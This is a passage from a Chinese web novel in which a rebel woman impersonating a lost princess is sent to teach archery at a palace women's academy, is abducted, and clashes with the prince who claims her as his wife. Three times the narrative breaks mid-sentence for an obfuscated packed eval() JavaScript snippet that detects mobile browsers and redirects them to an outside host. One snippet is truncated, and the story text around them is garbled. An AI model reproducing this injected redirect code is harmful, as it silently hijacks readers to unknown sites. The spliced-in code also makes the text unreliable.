“最后一回。”段檀目光森寒,盯着程鸢缓缓开口:
“看在曜灵的面子上,这是我最后一回放过你。”
语罢,段檀扭头一刀劈开床帐,刀身带着罡风向床上人两腿之间斩去,听到耳边响起一声杀猪般凄厉的惨叫,他转身离开屋内,再没有看程鸢一眼。
他身后,程鸢身躯下滑,整个人都软倒在了墙根处,掩面啜泣起来。
屋外,还在看戏的云无忧被段檀锁住手腕,一路拽向前厅。
她本想挣开,因为段檀用得力气着实不算小,但瞄了一眼此人脸色,云无忧打了个寒颤,还是识相的放弃了。
二人抵达厅堂,宴席上的众人纷纷起身见礼,主家程简也端着酒杯跑到段檀身侧攀话。
段檀一律草草应付,随后从离他最近的桌子上给自己倒了杯酒,将云无忧推到自己身前,对着满堂宾客敬道:
“今日程太史令烧尾宴,我作为晚辈本不该抢他风头,但昭平郡主——也就是我世子妃归京一事实在非同小可,贸然借机宣告此事,还望诸位体谅。
若有鲁莽冲撞之处,我自罚一杯,权当谢罪。”
段檀这番话把众人惊得瞠目结舌,厅堂内一时间鸦雀无声,静得落针可闻。
在满堂宾客错愕的目光中,段檀将杯中酒一饮而尽,随后直接揽着云无忧离开了高唐侯府,全然不顾今日之举会在京城里引起怎样的轩然大波。
而随着段檀在大庭广众之下的宣告,云无忧就这样成为了众人眼中的昭平郡主程曜灵,她一时间只觉得如坠梦中,还是一场无法苏醒的噩梦。
二人返回良王府,黄昏时,皇后自重明宫中传来懿旨,要昭平郡主入北宫女学执教。
接旨回房后,云无忧面上没有一丝喜色。
没有反贼不想进皇宫,但她想的进皇宫,是随盟主他们一起打进去夺天下,如今若被皇后召进去教书,恐怕只会凭白耗费她盗军印救盟众的时间,况且冒充之事若被皇后看出,她的小命大抵也是难保。
左思右想,她索性跟段檀说开了:
“小王爷,我毕竟不是真的昭平郡主,而且才疏学浅,在学问上一窍不通,怎么能去宫中的女学执教?这简直是误人子弟,还请小王爷向皇后禀明情况,免了此事吧。”
谁知段檀闻言猛地从座椅上起身,紧盯着她沉声道:
“不要再说你不是昭平郡主这种话,你就是程曜灵,是我的世子妃。”
段檀突然的动作惊了云无忧一跳,她整个人都向后倾倒,好在很快稳住了身形,只是听完他这番明显有些激越的发言,低下头去久久没有回话。
见云无忧一直不开口,段檀抿唇,缓和了语气:
“皇后要你教的不是什么学问,而是射艺,‘白矢、参连、剡注、襄尺、井仪’这一套你当年就教过。
何况其实受教的不过是一些宫女,即便忘了,糊弄过去即可,不算误人子弟。”
云无忧对段檀口中的五射并不陌生,父亲作为从行伍里退下来的老兵,从前是教过她这些东西的,但段檀最后那句话……
“什么叫‘不过是一些宫女’?在你眼里,宫女不算人吗?”
云无忧抬起头直视段檀,压制着面上怒意。
段檀站在原地沉默片刻后,开口道:“我并无此意。”
那你是何意?
云无忧几乎是第一时间就在心中反问,但终究没有问出来,她知道,跟段檀这种生来就踩在别人头上的天皇贵胄,是永远都辩不通的。
见云无忧侧过头去不搭理他,段檀目光晦暗,喉咙滚了滚,尽量平
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506055|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
静地继续道:
“宫中当值并非易事,你若独来独往难免出岔子,今后就让戚娘跟在你身边吧,我看你们颇为投缘,她做事周全,功夫也不差,正好寸步不离地保护你。”
云无忧一动不动地盯着地面,一个字也不想说。
段檀是个已经自欺欺人到极点的疯子,她说什么都没用。
……
翌日天色欲曙,宫里的接引姑姑来到王府,云无忧和戚娘已收拾齐整,只等随她入宫。
三人在良王府门口同段檀告别,话说完后段檀给接引姑姑塞了个硕大无朋的荷包,看得云无忧都嘴角一抽,感觉有些肉疼。
而接引姑姑几番推辞,最后还是满脸喜气地收下了荷包,直到走进宫门都没能压下她的嘴角。
走在重明宫的宫道上,云无忧心情多少有些复杂,她一个反贼,竟然就这么大摇大摆地入宫了。
不过她就一个人,翻不出什么浪花,没有盟主的命令,她也不能贸然做什么。
戚娘笑着同接引姑姑搭话:“姑姑,咱们这是要先去皇后娘娘处谢恩吗?”
接引姑姑的态度十分热络:“这是自然,不过皇后娘娘这会儿还在太后处请安,咱们只须到凝云殿外头回个话就行,回完了话,奴婢便领着二位去北宫。”
段檀的荷包显然没有白送,在去凝云殿的路上,接引姑姑有问必答,让云无忧对北宫女学有了不少了解。
原来这北宫女学是在前朝穆元太后的授意下创办的,最初招收的都是适龄的公主和官宦女儿。
入学女子当中最有名的便是如今的杨皇后和昌平公主,女学唯一的老师则是穆元太后的义女慕容瑛。
慕容瑛出自大央七贵之一的龙城慕容氏,在前朝时是名噪一时的才女,号称平溪居士。
只是后来穆元太后病重,女学没了支持,又恰逢外敌叩关,局势大乱,慕容瑛便做主将女学停办了。
去年新帝即位,杨皇后执掌凤印后做的第一件事,就是重开北宫女学。
她自任学宫祭酒,任昌平公主为掌教,之后又征辟了不少京城中才能出众的女子到此执教。
“不过说来也怪。”接引姑姑皱着眉颇为不解道:
“皇后娘娘在北宫女学的事上可谓尽心尽力,但她费了这么多心思,重开的女学却不再面向皇女贵女,而是只招收普通宫女和家世清白的适龄平民女子。”
将接引姑姑的话收入耳中,云无忧心中一动:“如今平民女子也能出入重明宫?”
接引姑姑摇头:“平民女子大多为生计所累,又畏惧皇宫威严,入学者寥寥,据奴婢所知,应是无人。
如今女学中的弟子,大都是有些上进心的年轻宫女。”
云无忧闻言有些失望,但得知了女学兴衰始末,还是对北宫女学和杨皇后生出几分好感,可一思及掌教昌平公主,她又有些头疼。
好在根据接引姑姑的话,昌平公主这个掌教,自从去年在杨皇后那里求封长公主之位而不得后,便甚少再踏足北宫。
三人赶到北宫的时候,天光已然大亮,接引姑姑将云无忧和戚娘引到一座宫殿门口,介绍道:
“这是承清殿,女学里执教的老师们平日都居于此处,二位快些进去吧,奴婢也得回去复命了。”
谢别接引姑姑后,云无忧转身,只见承清殿殿门大敞,依稀能见到殿内香炉之上升起的袅袅青烟。
和戚娘对视一眼,二人迈入殿内,云无忧打量了一会儿四周华贵的陈设,随后便发现一件十分诡异的事——这大殿里没有人。
二人在原地等了许久后还是不见人影,于是开始摸索起了殿内的各个偏室。
这些偏室内部陈设不一,各有风格,唯一的共同点就是——都没有人。
8. 北宫婴儿
在一间看着像茶房的偏室落座,云无忧随手给戚娘倒了杯茶递过去,有些郁闷道:
“不是说女学里执教的老师们都在这儿吗?怎么现在一个人都没有?难不成今日她们都休沐了?总不能是接引姑姑把我们领错了地方吧?”
戚娘顾忌着尊卑,捧着茶放在桌上,正准备跟云无忧讲些规矩的时候,一个陌生的女声突然不知从哪里响起:
“谁在嚷嚷……让不让人睡觉了……”
云无忧跟戚娘面面相觑,随后谨慎道:“在下初来乍到,不知道这里的规矩,若有冒犯之处,还请见谅。”
云无忧话音刚落,就听见附近传来“砰”的一声,她转头看去。
只见那扇原本摆在角落里的屏风倒在了地上,而推倒它的人,正懒洋洋的躺在榻上揉眼睛,一边打着哈欠一边语气含糊道:
“你是新来的射艺师傅吗?”
云无忧见她年纪不轻,身形富态,又穿得颇为华贵,明显养尊处优惯了,应该不是宫女,于是走到她身侧拱手鞠躬:“正是在下。”
榻上人坐起身来,她面貌雍容和善,肌肤饱满莹润,此刻鬓发略散,衣衫也有些皱卷,像朵被风吹乱的肉芙蓉,颇随意地对云无忧摆了摆手:
“大家日后都是同僚,不必这么客气。”
“我名齐婴,字守心,袭了父亲的奉康伯爵位,在咱们女学里教五礼,你怎么称呼?”
女伯爵,从前闻所未闻,想必是位奇女子。
于是云无忧作揖笑道:“见过奉康伯,我叫云……”
她的话刚出口,戚娘便在身后扯了扯她的袖子。
被人提醒,云无忧顿了顿,想起自己是以昭平郡主的身份入女学执教的,有些不自然道:“我名……程羲,字曜灵。”
齐婴闻言猛地抬头,惊呼出声:“昭平郡主?!”
难道齐婴跟昭平郡主有旧?云无忧眉间微微一皱,暗道不妙,但事已至此,也只能继续装下去,于是她面不改色地对着齐婴试探道:
“咱们从前有交情?”
岂料齐婴方才反应那么激烈,此时却摇了摇头:
“没交情,也没见过,你闻名京城的那几年,我都闭门在府里侍奉父亲呢,否则也没法儿袭爵。”
“不过……”她站起身一手搭上云无忧的肩膀,语气有些古怪道:“当年你跟小良王成婚那会儿,他还来请教过我呢。”
这句话一出口,她像是立刻发觉自己说错话了似的,又急忙补充道:
“唉!不提这些了,你如今回来是好事。”
将齐婴一连串的古怪反应收入眼底,云无忧心中顿时浮现出许多困惑。
但此时戚娘在侧,齐婴又显然不肯多言的样子,她便只笑了笑,息了追根究底之心,自然地对着齐婴询问道:
“对了,这承清殿怎么就你一个人?”
“就我一个人?!”齐婴一脸讶异。
看她面上的惊诧不似作假,云无忧点了点头道:
“我们在殿里搜寻了一圈,只找到你。”
齐婴摸着下巴思索:
“若鱼不在吗?我记得她是你堂妹吧?她一向长于交际,之前有新来的老师都是她带着熟悉的。”
程若鱼?
听到这个名字,云无忧眉头微动。
程鸢若是在此,往后的日子恐怕不会太好过,以程鸢先前在高唐侯府时的所作所为来看,今日这空荡荡的大殿说不准就是她的手笔。
但这些龃龉倒也不必讲给旁人听,云无忧便只淡淡对齐婴答道:
“我们到此后,不曾见到她。”
齐婴低声嘀咕了一句:“那还真是怪了……”
随后对着云无忧爽快道:
“也罢,我把我这儿的课程安排给你一份,你拿着看吧。”
“只是我也不知分给你的偏室是哪个,你近日若无处歇脚,便暂且到我这茶室里坐着吧。”
云无忧谢过齐婴,接过那块写着课程安排的绢布定睛一瞧,见到今日的射艺课是巳时开始。
她心有所感般看了一眼茶室里的刻漏,发现果然时辰已到,于是迅速道别了齐婴,匆匆赶往御林苑的靶场。
御林苑是皇家园林,扩建多次,占地极广,位于整个重明宫的北部,从北宫过去倒不是太远。
时间紧迫,云无忧跟戚娘一路上步伐极快,不曾对御林苑中号称“冠绝十三州”的景致投去一个眼神。
一路疾行赶到了御林苑的靶场,云无忧腹中都打好了迟到歉词的草稿,但在靶场入口抬眼一望,偌大的地方,竟只有一个扫地宫女。
一天见两次鬼,真是奇了。
云无忧拿出齐婴给的绢布翻看,再三确认过射艺课的时间地点都没错后,往旁边瞥了一眼,只见在她射艺课之前的御术课,授课师傅正是程鸢。
云无忧挑眉,心中有了些猜测。
她跟戚娘走向扫地的宫女搭话道:
“这里只有你一个人吗?”
谁知那宫女见到她们仿佛耗子见了猫,紧张地直点头。
看她似乎手都有点抖,云无忧温声安抚道:“别怕,我是新来的射艺师傅,把头抬起来说话。”
见云无忧似乎不是来找她麻烦的,扫地宫女的情绪逐渐和缓,攥紧了扫把有些怯生生地抬起头,但在看清云无忧脸的那一瞬间,她怔住了。
云无忧见状心里咯噔一下,难道这是位昭平郡主故人不成?
她故作自然地笑道:
“怎么了,你从前见过我?”
好在宫女摇着头否认了:
“不是,你、你头上的鹤首银簪好熟悉,像我从前丢了的那根。”
云无忧闻言松了口气,倒是大方,笑着将银簪从头上拔下来递给她:
“你喜欢的话,我送给你,你也不用再找之前丢了的那支了。”
反正她现在的衣裳首饰都是段檀包办的,送人是一点不心疼,心里甚至有种劫富济贫的微妙感。
扫地宫女双手接过云无忧递给她的银簪,查看一番后似乎松了口气,把银簪递还给云无忧福身道:
“多谢贵人好意,奴婢方才失礼了,这簪子奴婢受不起,贵人还是收回去吧。”
云无忧犹豫一瞬,怕无意给扫地宫女惹了麻烦,还是接过银簪插回头上,对扫地宫女发问道:
“你叫什么?这么大的靶场,怎么只有你一个人?”
扫地宫女毕恭毕敬:“奴婢阿诺,她们都去上课了,剩奴婢在这里扫地。”
云无忧不解:“上课?她们去哪里上课?巳时的射艺课不就是在这里上的吗?”
阿诺解释道:“是御术课,教御术的师傅今天额外加课了,听说太后也会去宣池旁观看,她们就都过去了。”
好厉害的下马威,云无忧眯起双眼,从承清殿到御林苑,程鸢的手段还真是不一般。
可惜程鸢不知道的是——其实云无忧压根儿不想当这个射艺师傅。
程鸢做得好啊。
云无忧唇角一勾,不顾戚娘还在身侧着急地出着主意,对阿诺欣然道:“这么大的地方让你一个人扫,真是欺负人,我们帮你吧。”
此言一出,戚娘立即蹙眉看她,不知道她这是意欲何为,本是来北宫执教的,怎么干上杂役的活了?
阿诺也急忙推拒:“这可使不得。”
“这有什么使不得?我们帮你扫地,你可以歇着了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506056|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云无忧一把抢过阿诺手里的扫把。
阿诺小脸皱成一团,但也不敢说什么,到别处取了一把扫把继续默默地扫地。
不料云无忧又追了过来,抢走她的扫把给了戚娘,戚娘在一旁欲言又止,但终究还是默许了云无忧有些荒唐的安排。
云无忧见戚娘没有异议,遂笑着转头,让阿诺去休息。
但阿诺却默默抱着膝盖蹲下,听声音似乎是哭了。
云无忧登时有些手足无措,忙扔了扫把蹲下身对阿诺连番道歉,阿诺却一直不肯把头抬起来。
见云无忧把人惹成这样,戚娘略带无奈地瞥了她一眼。
云无忧有些心虚地摸了摸鼻子,轻声哄阿诺:“阿诺,方才的事实在是我对不住你……你想学射艺吗?我教你如何?就当给你赔罪。”
阿诺闻言逐渐停止了泣声,云无忧见有效果,连忙打包票,承诺一定会把阿诺教成最厉害的弓箭手。
阿诺终于抬起头,看着她破涕为笑。
于是阿诺就这样成为云无忧第一堂课的唯一弟子。
至于靶场,则交给戚娘扫完了。
正午走出宫门时,云无忧心道第一堂课上成这样,不知道传到杨皇后耳朵里,能不能把她给辞退了。
她对此颇为期盼。
二人回到良王府,得知段檀有事外出,一同用过午饭后,云无忧借口午睡离开房间,悄悄出了良王府。
她本想去信平侯府一探,但出了门没走两步,便不知被谁从背后偷袭,打晕在地。
再次恢复知觉的时候,云无忧后颈隐隐作痛,她捂着脖子挣扎起身,却又被身侧一阵大力推倒。
她坐在地上缓了一会儿后,抬头朝方才那只推手的方向看去。
只见一个身着劲装的年轻男子,此时正居高临下地监视着她的一举一动。
云无忧目光下移,看到他腰间挂着的长剑时,暂时熄了自己那颗想硬碰硬的心,准备先静观其变。
见云无忧此时清醒的差不多了,那劲装男子从怀中掏出张带着字迹的纸扔给她。
云无忧将其展开,努力琢磨了一会儿后诚实道:“我看不懂。”
劲装男子皱眉:“你不识字吗?”
“字都认识,但连在一起看不懂。”云无忧举起手欲将纸张递还给他。
劲装男子并未伸手去接,而是又道:“此乃大家诗作。”
云无忧恍然大悟:“那难怪我看不懂。”
她向来不通诗赋,让她解诗,这不是为难她吗。
劲装男子面色一僵,站在原地沉默了半晌后夺过她手里那张纸,蹲在她身旁道:“我念一句你念一句。”
云无忧顺从点头,虽然不明白为什么会有人劫持她以后教她念诗,但好歹没有生命危险,也就既来之则安之了。
然而令云无忧没想到的是,二人读诗的中途,劲装男子竟几度哽咽,惹得云无忧惊诧不已。
读完几遍后,云无忧也有些被他身上浓烈的绝望气息感染,半是感慨半是试探道:
“你看起来也是个性情中人,为什么要做匪类的勾当?”
劲装男子闻言深深地看着她,眼眸凄亮,声音嘶哑:
“姑娘,今日是我得罪,来日若有机会定当报答。”
他说话语焉不详的,云无忧直截了当地问道:“你怎么才能放了我?”
劲装男子不言,扶起她后带着她向房间深处走去。
云无忧这才有机会打量四周的环境,她环视左右,不由得暗自咋舌,这房内陈设的华贵程度,就算比起皇宫也是有过之而无不及,真不知房主是何等人物……
她心中警惕起来,只觉得京城果然深不可测,还是小心为妙。
9. 有情无情
劲装男子带着她迈入里间,里间窗户紧闭,气氛干燥而昏沉,被一种油尽灯枯的衰朽之感浸透,甫一踏入,苦涩厚重的药味便扑面而来,浓郁得几乎令人喘不上气。
二人在床前停步,云无忧只见到重重叠叠的刺绣帷幔,看不清床上的景象。
劲装男子单手拂开帷幔,云无忧的目光随之向床上探去,猝不及防见到了一张惨白如死人的脸。
云无忧顿时惊得退后一步,但很快便稳住身形镇定下来,进京路上她见过的死人多了,眼前这场面还算不得什么。
劲装男子见状用另一只手将她强拉到床边坐下,将纸张递给她道:“念吧。”
云无忧堪堪在床边坐稳,尽量避开了床上那具形销骨立如骷髅般的身躯,然后仿照着之前劲装男子的语气开口道:
“怅年年,雁飞脂河,秋风依旧兰渚。网罗惊破双栖梦,孤影乱翻波素。
还碎羽,算古往今来,只有相思苦。朝朝暮暮。想塞北风沙,江南烟月,争忍自来去。
埋恨处,依旧沧州路,一丘寂寞寒雨。世间多少风流事,天也有心相妒。
休说与,还却怕、有情多被无情误……”
说老实话,其实云无忧觉得,比起念这劳什子诗,床上人更需要的是往生咒。
以沉痛的声调将整篇诗作念完后,云无忧看向劲装男子。
劲装男子却死死盯着床上人,见过了许久床上人都没有反应,他有些难以接受似的阖上了双目。
云无忧见劲装男子此刻心神激荡,目光移向他腰间,动了夺剑出逃的念头。
但她还未及动作,床上人的手指便猛地抽动了一下,云无忧无意瞥见,顿时攥上劲装男子衣袖惊叫道:
“诈尸了!”
云无忧话音未落,床上人不仅手指抽动,连眼皮都开始颤抖。
她见状缓过神来,明白了床上躺着的是个活人,之前提到嗓子眼里的心总算又放了回去。
此刻,劲装男子甩开云无忧还抓着他衣袖的手,热泪盈眶地跪在床前叫了一声“公子”。
而被他喊公子的那人却死死盯住云无忧的脸,苍白干裂的两瓣嘴唇里,缓慢而艰难地吐出了两个字:
“曜灵……”
这两个字如诅咒般进入云无忧耳中,让她顿时头脑发麻,心中生出一种不可名状的恐怖。
但正在她启唇准备说些什么的时候,后颈处传来一阵熟悉而清晰的痛感,她的意识也很快伴随着这股痛感模糊了起来。
等再度睁眼时,云无忧已身处良王府外的花丛中,此刻天近黄昏,她思及自己这一天的遭遇,不由得嘴角抽动,甚觉荒诞。
这昭平郡主生前到底欠了多少风流债……又因为这些风流债惹了多少麻烦……
昌平公主和程鸢倒也罢了,左不过是些争风吃醋的事,都摆在明面上,她多少能有所预见,可今日这个劲装男子,虽尚未正面交手过,却真能神不知鬼不觉地要了她的命。
云无忧抚上自己现在还隐隐作痛的后颈,绞尽脑汁想了半天,还是没找到关于那劲装男子和他“公子”的半分头绪,她有些泄气地一拳锤在身下草地上,深觉无力。
自从到了京城,这种无力感就时常萦绕在她的心头。
望了一眼天色,云无忧估摸着是来不及去一趟信平侯府了,段檀即将回府,若得知她偷出王府,还不知又要发什么疯。
深深呼出一口气,云无忧尽力平复她躁乱的心绪,从花丛中起身,向着离良王府最近的那条街市走去——不打招呼消失这么久,她总得给自己私自离府找个由头。
傍晚时分,她带着从街市上买来的玩意儿走到王府门口,正与带着一队亲兵从府中出来的段檀撞上。
段檀在王府门口看到云无忧,面上的惊喜之色一闪而逝,随即便沉着脸走到她面前冷声道:“跟我回去。”
云无忧十分乖觉地拿着东西的跟在段檀身后。
走到在王府前待命的副将仇冲身旁时,段檀摆了摆手,仇冲立刻心领神会,当即带着队伍离开,转身时还皱着眉头瞪了云无忧一眼。
有本事去瞪发号施令的段檀。
云无忧腹诽,随后跟着段檀抵达了一个她从未踏足过的地方——段檀的书房。
一入书房,段檀就仿佛忙得无法抽身一般,皱眉坐在案前对着各种卷牍不断批批改改。
而云无忧见段檀把自己领到这里后就不再搭理,思索了片刻猜测此人应当是又在同她置气。
于是她拿着方才在街上买的果脯递到了段檀手边,带着歉意柔声道:
“今日私自出府是我鲁莽了,不过这杏脯还算不错,小王爷赏脸尝尝?”
段檀置若罔闻,随意一抬手便把整袋杏脯打翻在地。
云无忧面色冷了下来,微不可察地扫了段檀一眼,蹲下身将地面收拾干净后,自顾自起身离开。
说到底她在段檀身上并无所求,没道理一定要哄着他的贵族脾气。
就在云无忧走到门口之时,段檀冷厉的声音从身后传来:“不准走。”
云无忧置若罔闻,抬手便向门上推去。
而她推开门的那一刹那,段檀的手覆上了她的手,又强硬地将房门合上了。
云无忧见无法离开,一把从段檀那儿抽出自己的手,在书房角落里找了个位置坐下了,之后看天看地,就是冰着脸一直不出声。
将云无忧这副模样收入眼中,段檀抿了抿唇,还是先开口:“今日是你先私自出府。”
云无忧闻言不欲同他理论是非对错,只觉得段檀拿她当豢养的家宠,再思及自己今日种种遭际,怒极反笑:
“小王爷所言极是,我就应该呆在良王府里大门不出二门不迈才对。”
段檀见她仿佛动了真火,默然半晌后轻声道:“你本可以问过我之后再出王府。”
没听出段檀言语中难得透出的退让之意,云无忧笑容愈发嘲讽起来,她反问:
“问过小王爷之后,我还能独自出府吗?”
不等段檀回答,她又道:
“从梧桐巷口,到高唐侯府,再到昨夜入宫之事,小王爷有听进去过我说的任何一个字吗?”
“我问与不问,说与不说,能干涉小王爷的抉择吗?”
段檀未曾料到不过短短几天,云无忧心中竟对他有如此多的不满,一时间也恼怒起来,压低眉头语气冷硬:
“你的意思,是觉得我太过专断。”
云无忧方才一番话算是出了气,这会儿思及段檀身份地位,也不敢真的同他闹翻,于是吁出一口气,收敛了神色,只说:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506057|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“我方才失言,还请小王爷见谅。”
岂料段檀压根儿不理会她的回答,又问:“所以你今日出府,是想去找那个不专断的人吗?”
云无忧满脸困惑:“什么?”
段檀凤眸黑沉,嘴角勾起一抹冷笑:“也是,杨遥臣在朝中素有从善如流的美名,难怪你中意他。”
“这与信平侯又有什么关系?”云无忧不解。
“自然有关系。”段檀看着她,眼中暗潮汹涌:“你中意他,所以也中意他的从善如流,你不满我,所以我做什么都是错。”
疯子尽说些颠话。
云无忧百思不得其解,完全不知道段檀是怎么想到这里的。
不过听段檀方才所言,他对杨弈的厌恶显而易见,于是为了安抚段檀现下的情绪,云无忧毫不犹豫地选择了诋毁杨弈:
“信平侯那样沽名钓誉、虚伪至极的人,我怎么会中意他?”
段檀闻言双眸乍亮,而后又想起了什么似的,眉目微垂道:“你不中意他,今日为何去找他?”
段檀怎么会知道她今日想去找杨弈?!
云无忧心里一惊,但思及她最后根本没踏足信平侯府一步,顿时颇有底气:
“我今日只是在外面的街市上逛了逛,并未去过信平侯府,小王爷是不是误会了什么?”
段檀抬眼看了云无忧一会儿,见她不像在说谎,低低呢喃:“我还以为……”
还以为她是偷偷去见杨弈了,所以后来召集亲兵想再闯信平侯府要人。
“以为什么?”云无忧接着他的话问。
“罢了。”段檀一副不计较了的神情:
“你在王府拘不住想出去逛逛,也不是什么大事,日后记得带上戚娘,你们只要在入夜前回府,便不须再问过我。”
“不过最近几日还是算了,戚娘在你身边办事不力,今日刚领了罚,应当要休养一阵子。”
“戚娘办事不力?还要领罚?”云无忧惊疑道。
“你偷出府了她都全然不知,自然是该罚的。”
段檀语气平淡,接着又道:
“你若不想等这几天,我也可以再拨个人给你。”
段檀自觉已是十分宽赦,可他这副云淡风轻的、随意对他人生杀予夺的样子,却让云无忧心中蓦地泛上一阵恶心。
压下心里那股恶心劲儿,云无忧直视段檀拒绝了他的安排:“我独来独往惯了,不需要人护卫。”
段檀皱起眉头:“若无人护卫,你今后遇到危急之时……”
云无忧打断了他的话:“没有护卫,我也活过了二十余年。”
虽说今日就遇到了一个能随手取她性命之人,但人生于世,本就危机四伏,该来的总会来,若要为此而身戴枷锁,她宁愿死。
更何况她是个反贼,今后还不知要做多少大逆不道之事,怎能连累旁人。
看着云无忧坚定的眼睛,段檀一时恍惚,竟不知今夕何夕,仿佛又回到许多年前,程曜灵告诉他已经决定好同杨遥臣私奔的那个雨夜。
他想起当时的倾盆大雨,
想起那个甚至说不出一句挽留的自己,
想起程曜灵那句“没有京城的荣华富贵,我也活过了十多年”。
言犹在耳,往日重现,竟是不可转圜。
10. 死生师友
段檀身形晃了晃,紧闭双目,用力揉着刺痛的太阳穴,试图驱散从前那些记忆。
云无忧见他似乎身体不适,过去想扶着他到椅子上坐下,段檀却如被烫到一般避开她的手,在原地缓了良久才开口:
“今后你要去哪儿,我可以不问,但有一件事你必须答应我。”
见段檀态度松动,云无忧心生希冀:“何事?”
“每日入夜之前,我必须在良王府看到你。”
段檀目光深不见底,神情里暗藏着一种悲寂的黯然。
这倒不是什么难事,云无忧当即点头。
见她答应,段檀转身走到案前坐下,又拾起卷牍开始批复,头也不抬道:“你想走就走吧,我不拦你。”
竟然真同意了?看来段檀这人,也不算彻底无药可救。
云无忧利落地应了一声扭头便走,许是得偿所愿的缘故,行至门口时她缓下脚步,对段檀说了一句:“其实方才那杏脯真的很甜。”
段檀执笔的手一顿,再抬眼时云无忧已走出房门,他看着门口怔忡半晌,直到捏断了笔杆,木刺扎进肉里方才回神。
而得了自由的云无忧游走在良王府中,只觉惠风和畅,心旷神怡,去探望戚娘的时候,顺道将这个好消息告诉了她。
次日云无忧的射艺课被排在未时,用过午饭后,她孤身前往重明宫,快走到北宫范围的时候,她在桥对面看到了一个绝对不想遇见的人。
本想转头避开,谁曾想昌平公主却带着一众仆从快步朝她走来,这下没法视若无睹了,云无忧暗叹一声倒霉,头也不抬地对着昌平公主行礼,只想尽快蒙混过关。
“本宫听说你假冒程曜灵到女学当老师了,什么时候山鸡也能充凤凰?真是滑天下之大稽。”
昌平公主一张嘴就是熟悉的刻薄味道。
云无忧早有预料,不至于为这种话产生心绪波动,只道:“这是皇后娘娘的旨意。”
昌平公主满脸不屑:“能放你进女学,我看杨之华也是一日昏过一日,迟早不中用。”
听她的口气,杨之华应当是皇后的闺名。
在宫内直呼皇后姓名,言辞又如此轻慢,云无忧思及杨皇后重开女学的功绩,不由得皱眉维护她道:“公主慎言。”
“怎么连你也这么向着那个乡野村妇?”昌平公主面带不满,凑到云无忧面前质问。
初次相遇的时候,她叫昭平郡主贱人,称小良王为野种,如今就连一国之母的杨皇后也没逃过她的辱骂,堂堂公主,一张开嘴比村里臭水沟的味儿还冲,云无忧也算是开了眼界了。
她心中嫌恶,懒得应付,正想抬腿走人,却感受到身侧传来一股大力欲将她推入池中。
她本可以稳住身形,但目光触及昌平公主嘴角那抹得意的笑,心念一转便改了主意,当即抱住昌平公主的身子和她一起摔进清池当中。
三月的池水寒气凛冽,云无忧一入水便被冻得打了个哆嗦,只觉得这水冷得直往人骨缝里钻。
她常年渔猎皮糙肉厚尚不好过,就更别说自生下来就娇生惯养,没过过一天苦日子的昌平公主了。
她此时被冻得脸蛋青紫,扑腾两下便没了力气,连呼救的话都说不完整。
云无忧见昌平公主这狼狈模样甚是解恨,面上学着她的样子大声呼救,暗里却带着她往远处游了一小段。
避开那些来救公主的宫人后,云无忧偷偷将她的头往水里按了两下,算是彻底解了气。
看着宫人们离得越来越近,云无忧扫了几眼,将昌平公主推给看起来水性最好的那个宫人,自己游开了。
那些宫人们见她安全地游上了岸,也不再管她,搀着被冻晕过去的昌平公主就往最近的宫殿跑,叫太医的叫太医,拿暖炉的拿暖炉,都生怕公主出了什么毛病。
而云无忧就没有公主的待遇了,她穿着湿透的衣裳走了约莫一炷香时间后,终于见到了承清殿的侧门。
她记得齐婴的茶室里有几件干净衣裳,以齐婴的性子,应该不会介意她暂时借用。
但进殿后她便发觉不对,殿内的陈设十分陌生,绝不是承清殿,她本想离开,却瞥见了某个偏室的衣柜。
吹了一路的风也冻了一路,她这会儿实在有些扛不住了。
环视一圈没见到人后,她还是搓着胳膊进入偏室,关上门窗换起了衣服。
换上干爽的衣裳,又将头发上的水渍擦去,云无忧心境舒缓许多,见外面日头离未时还有一段时间,便在殿内探索起来。
看殿内摆设的整洁程度,这里不像是久不来人的样子……云无忧摸着下巴有些疑惑。
总不能是程若鱼给她使绊子使到了这里吧。
被自己有些荒诞的揣测逗乐,云无忧又踏进一个颇大的书房,房内布置极为雅致,书桌上还放着些纸张,看起来有些年头了,上面隐有字迹。
她对学问一向不感兴趣,本想随便看一圈就离开,无意间却瞥见了那些字迹中的“程羲”二字,顿时提起精神,过去翻看起那摞纸堆。
“议天地……程羲……”
这看起来像是篇文章,写得……勉强算是字吧,应该是程曜灵幼时之作。
她继续往下翻。
“议众生……杨苕……”
这人她不认识,文章她也看不懂,但字写得倒是很好。
“议自身……段桢……”
这人也不认识……等等……这文章的遣词造句……怎么莫名有种熟悉的感觉。
“这是……”她低声呢喃,心里有个名字呼之欲出。
“是昌平。”门口传来一个清泠泠的女声。
云无忧扭头看去,只见一个素衣女子正倚在门上看她,不知已经在那里站了多久。
